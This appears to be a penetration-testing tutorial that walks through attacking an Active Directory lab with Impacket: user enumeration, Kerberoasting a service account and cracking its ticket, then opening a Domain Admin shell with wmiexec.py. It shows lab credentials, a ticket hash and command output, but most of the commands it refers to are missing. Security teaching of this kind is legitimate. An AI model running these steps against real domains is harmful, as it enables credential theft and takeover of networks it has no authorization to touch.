What is impacket?
According to the official page of Impacket by SecureAuth, “Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself. Packets can be constructed from scratch, as well as parsed from raw data, and the object oriented API makes it simple to work with deep hierarchies of protocols. The library provides a set of tools as examples of what can be done within the context of this library”. Impacket library comes with a collection of python scripts that are extremely useful in various different scenarios for security professionals. In this article, we will specifically explore some of the Impacket tools that are helpful in attacking Domain Controllers in Active Directory environments.
What Windows protocols and domain controllers can Impacket exploit?
As shown in the official web page of Impacket, the following protocols are featured in Impacket.
Ethernet, Linux “Cooked” capture.
IP, TCP, UDP, ICMP, IGMP, ARP.
IPv4 and IPv6 Support.
NMB and SMB1, SMB2 and SMB3 (high-level implementations).
MSRPC version 5, over different transports: TCP, SMB/TCP, SMB/NetBIOS and HTTP.
Plain, NTLM and Kerberos authentications, using password/hashes/tickets/keys.
Portions/full implementation of the following MSRPC interfaces: EPM, DTYPES, LSAD, LSAT, NRPC, RRP, SAMR, SRVS, WKST, SCMR, DCOM, WMI
Portions of TDS (MSSQL) and LDAP protocol implementations.
Protocols such as WMI and DCOM are extremely useful in lateral movement in an AD environment. In the next few sections of the article, let us discuss how Impacket can be used against Domain Controllers to abuse some of the protocols listed here.
Installation:
Impacket can be downloaded from the official GitHub page of SecureAuthCorp and run using a python interpreter. According to the GitHub page, Python 2.6/2.7 and Python 3.7 the versions that are known to work. In this case, we will set up Impackt using Docker on Kali Linux, which is running as a virtual machine. Note: Docker must be installed before attempting to build the image. First, clone the source code using git as shown in the following excerpt and navigate to the impacket directory. $ ls ChangeLog Dockerfile examples impacket LICENSE MANIFEST.in README.md requirements.txt setup.py tests tox.ini $ As we can notice, there is a Dockerfile. Run the following command, to build the docker image using the Dockerfile available. As we can notice, the image is named impacket and tagged latest. Following is the output of the preceding command. Step 1/12 : FROM python:2-alpine as compile 2-alpine: Pulling from library/python aad63a933944: Pull complete 259d822268fb: Pull complete 10ba96d218d3: Pull complete 44ba9f6a4209: Pull complete Digest: sha256:724d0540eb56ffaa6dd770aa13c3bc7dfc829dec561d87cb36b2f5b9ff8a760a Status: Downloaded newer image for python:2-alpine —> 8579e446340f Step 2/12 : WORKDIR /opt —> Running in 6fd58d64ac4a Removing intermediate container 6fd58d64ac4a —> 8e3360b25ca3 . . [redacted for brevity] . . Step 9/12 : FROM python:2-alpine —> 8579e446340f Step 10/12 : COPY –from=compile /opt/venv /opt/venv —> bcb1623ac10e Step 11/12 : ENV PATH=”/opt/venv/bin:$PATH” —> Running in 240721305da2 Removing intermediate container 240721305da2 —> 61530384f630 Step 12/12 : ENTRYPOINT [“/bin/sh”] —> Running in 053e56eb9132 Removing intermediate container 053e56eb9132 —> 54731856b89e Successfully built 54731856b89e Successfully tagged impacket:latest Once the image is built, we can verify if the image is successfully built using the following command. impacket latest 54731856b89e About a minute ago 155MB $ After the image is built, impackt can be used by spinning up a new container. The following command can be used to spin up a new container and it gives a shell on the container by default. On the container shell, we can type any impacket script name and hit tab for suggestions as shown in the following excerpt. / # With this, the Impacket setup is complete and we are ready to use it.
Attacking AD Environments using Impacket:
Assuming that we have already gained foothold in the network with low privileged domain user credentials, let us understand how we can use some of the scripts from Impacket to perform attacks against Active Directory environments. Our environment: Following is the environment we are using to demonstrate the concepts. Low privileged user credentials: bob:p@ssw0rD Attacking machine: Kali Linux (Impacket running using Docker within Kali Linux)
AD User Enumeration:
Enumerating Active Directory users, groups, computers and their relationships is a crucial step in attacking AD environments. Let us use the script GetADUsers.py to dump the full list of users available in the target domain. The following command can be used to retrieve AD users.
Since our attacking machine is not part of the domain, we will need to explicitly specify the domain controller IP address using -dc-ip flag as shown in the preceding command.
This command however will not return any users as an email id filter is used in the script by default and there are no email ids available in our target environment. This can be seen by runnin the preceding command with the option -debug.
This command will return an empty user list with the details of the filter used as follows.
To override this default behaviour we can use -all flag and it will return all the users available in the domain. The command looks as follows.
The output looks as follows.
[+] Search Filter=(&(sAMAccountName=)(objectCategory=user))
Administrator 2020-10-27 03:05:53.839096
Using python for Privilege Escalation:
Now, let us use another python script available in Impacket library to elevate our privileges from domain user to a domain administrator. To achieve this, we are going to use a technique called Kerberoasting, which will be explained shortly. Note that the success of this attack relies on a few other factors, which we will discuss shortly. First, let us identify all the accounts in the domain with Service Principal Name (SPN) set. This can be done using the following command. Running this command shows the list of service accounts as follows. DC2019/sqlservice.ADLAB.local:1434 sqlservice CN=Domain Admins,CN=Users,DC=ADLAB,DC=local As we can notice, we got a service account named sqlservice.
What is Kerberoasting?
In an Active Directory domain environment, any authenticated domain user without administrative privileges can request service tickets (TGS) for service accounts by specifying their SPN values. In response to this request, Active Directory will return a ticket, which is encrypted using the NTLM hash of the account associated with that SPN. Once the ticket is obtained, offline cracking can be performed using tools like Hashcat to recover the service account password in plain text. If the cracked service accounts are misconfigured to have unlimited privileges such as Domain Administrator, an attacker can become a Domain Admin just by compromising these service accounts. Let us see an example of how this can be achieved using impacket’s GetUsersSPNs.py.
Requesting a TGS:
The following command can be used to request a TGS for the service account sqlservice. The output contains an encrypted ticket which looks as follows. We can copy this into a file named hashes.txt and run hashcat against it using a wordlist as shown below. [REDACTED FOR BREVITRY] $krb5tgs$23$sqlservice$ADLAB.LOCAL$ADLAB.local/sqlservice$bbe71f920d3b465404353ed6f2b50eb3$87ab088c9a16e3b6016303e923ac3a869de09a4536dd42c3e73d6c68524ca788e5c0bb645a288121bcfa46534641de2cb5b8d7857b2ead5fe0a085749578d3769d634eeeda25eb61386429f47889c1c431987e6ec6cd614cd5e77f346691f60320a71883623daf6e1d6dae82e3cd0c32fe7170bf7153c888fb84ffb50e7ebda8648a49095308d8d61fd68d2a11243cd281b54349127ed6d093da3f27be8fab870d663e73208b64e241931eb528282eba68d10bc77ebbfaa483937eb13ef64c6b8d0e9907cc9ce51c02866b347783a029e22b1c72de03e6c7bcf3b038bfaf6dc7fadc907b969d41b325338aa7d8aff08ecd73acada2cb1fc499be85d414897fe0d4e75a3abc9a5843b202f4aa90066a63a9b2df6b909496195d0961a8d907bb8821462368d7d224bba8618264e4db39a3237d7d2dc0ff934082e2db4f4e7d05919f1b9a9e91492c37f75ec8b3ca19add4163228a09e158a18f3697d0e17786e236c4ad46d6b0eaf1226ba99309f7fcc484641cc19a64253125fb4660b6ccc3d7cfad37fd90235cff8575a4a44be0ce8487d9e117e0ec14bc94252673c0f9fae514a08f1f38f28ab59b9c76f6dd61c88f7b638a5525a5f27448a3760cd26b1f010d0abc0715b837400e844bcdf7f3d7cec01bf30b49f82b4f252b46f10aa42c347d9e2809e28980e04d2a9004e6d06d9c71769b795e5f047b66aa7274d7f3f3d469ae487a457880cd21ed81d86b247de42bc96cf3e04f4fb4b4e3971efa21ba3de54b1aeedb412aee1eec48e2efa4bf475b29f769b99db5a6726dcc6ed5b171ab918ca02b92d1aed1916389a38d2fc3918e198c2296e9c4f5ed6d2a17937aa507f21397695defbdeb2dbfe02524ee004a313750e3b56dac53f7c5d91283cbcfd2b73a600879bed0c93e04c962076320a0eea63ce8425f787d4abf37b2bdfe12ce9d6c7ef5f45b4ccf461e3e45fa5262c1b733af7530260ed1c88342d540da20225ac002206d19835dd915bed991ec31eca7314543de461ec3bc93a53210126cf457518d2fda04096aa1c4476580a2235e21931209203283e42533c6bfcb91a74718a9b6f05f2800bd8773c609b0abc1b9907eb781c29a08dc35d631445c4363ed7f001209c7231c92b6e2a5942ff3e78b243c3b4787d041a94f07e716cd0b40fa3216d63987c4771ff2634fbf52268f3364e707bd26967b4f1d3c7f986cb984a481dc13c07ea0bed3d7ab0de0efdd85541d7ab8fd44fbb223c5a159eece421680c2726636b36649f4307291821eb01138020d70ed8c7c511ef58b7c2a7beca76bee670d1584737a496f3a0937adcb9b8a387de4cf2406829a6875d940d87c366095c71247fade89066f14029e0375317bca441d3ea95983be0a478fc32fe4b:p@ssw0rD [REDACTED FOR BREVITY] $ As we can notice in the preceding excerpt, the service account password is cracked.
Gaining shell as a Domain Administrator:
As a next step, one can use Impacket’s wmiexec.py to gain shell access on the Domain Controller remotely. To do this, the following command can be used. As we can notice, we are using the service account credentials that we compromised earlier. If successful, we should see a remote shell on the Domain Controller as shown in the following excerpt. [+] Impacket Library Installation Path: /opt/venv/lib/python2.7/site-packages/impacket [*] SMBv3.0 dialect used [+] Target system is 192.168.235.134 and isFDQN is False [+] StringBinding: \\DC2019[\PIPE\atsvc] [+] StringBinding: DC2019[49666] [+] StringBinding: 192.168.235.134[49666] [+] StringBinding chosen: ncacn_ip_tcp:192.168.235.134[49666] [!] Launching semi-interactive shell – Careful what you execute [!] Press help for extra shell commands C:> We can verify our privileges using the following commands. C:>net user sqlservice User name sqlservice Full Name SQLService Comment User’s comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 12/15/2020 6:49:04 AM Password expires Never Password changeable 12/16/2020 6:49:04 AM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 12/15/2020 7:26:16 AM Logon hours allowed All Local Group Memberships Global Group memberships *Domain Admins *Domain Users The command completed successfully. C:> As we can observe in the preceding excerpt, we have logged into the Domain Controller using Domain Admin rights.
Conclusion
In this article, we discussed how powerful python is to perform network penetration testing. To avoid reinventing the wheel by writing our own script, we made use of a powerful framework called Impacket to demonstrate the power of Python for network penetration testing. Clearly, Python can be used to create almost any popular network protocol as demonstrated in Impacket.
Sources
Impacket – Secureauth Impacket – Github Cracking kerberos tgs tickets using kerberoasting